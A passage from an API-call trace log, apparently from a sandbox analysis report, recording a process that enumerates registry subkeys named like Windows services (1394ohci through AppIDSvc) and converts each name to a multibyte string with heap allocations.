lpUsedDefaultChar=0x0) returned 13 [0232.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.295] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0232.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0232.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.295] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0232.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0232.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.296] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.296] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0232.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0232.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.296] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.296] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.296] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.296] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0232.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0232.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a00, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0232.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.296] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.296] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.296] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.296] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0232.297] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.297] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0232.297] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.297] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.297] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.297] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.297] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0232.297] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.297] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0232.297] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.297] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.297] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.297] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.297] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0232.297] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.297] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0232.297] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.297] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.297] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.297] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.297] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0232.297] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.297] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0232.298] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.298] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.298] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.298] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.298] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0232.298] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0232.298] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1928, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0232.298] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.298] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.298] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.298] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.298] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0232.298] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.298] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0232.298] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.298] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.298] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.298] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.298] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0232.298] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.298] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0232.298] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.298] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.298] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.298] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.298] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0232.298] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.299] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0232.299] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.299] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.299] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.299] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.299] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0232.299] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.299] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0232.299] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.299] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.299] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.299] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.299] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0232.299] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.299] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0232.299] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.299] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.299] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.299] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.299] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0232.299] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.299] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0232.299] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.299] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.300] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.300] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.300] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0232.300] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.300] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0232.300] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.300] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.300] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.300] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.300] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0232.300] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.300] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0232.300] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.300] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.300] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.300] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.300] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0232.300] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.300] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0232.300] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.300] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.300] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.300] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.300] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0232.300] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.301] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0232.301] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.301] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.301] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.301] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.301] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0232.301] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.301] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0232.301] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.301] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.301] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.301] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.301] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0232.301] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.301] RtlAllocateHeap 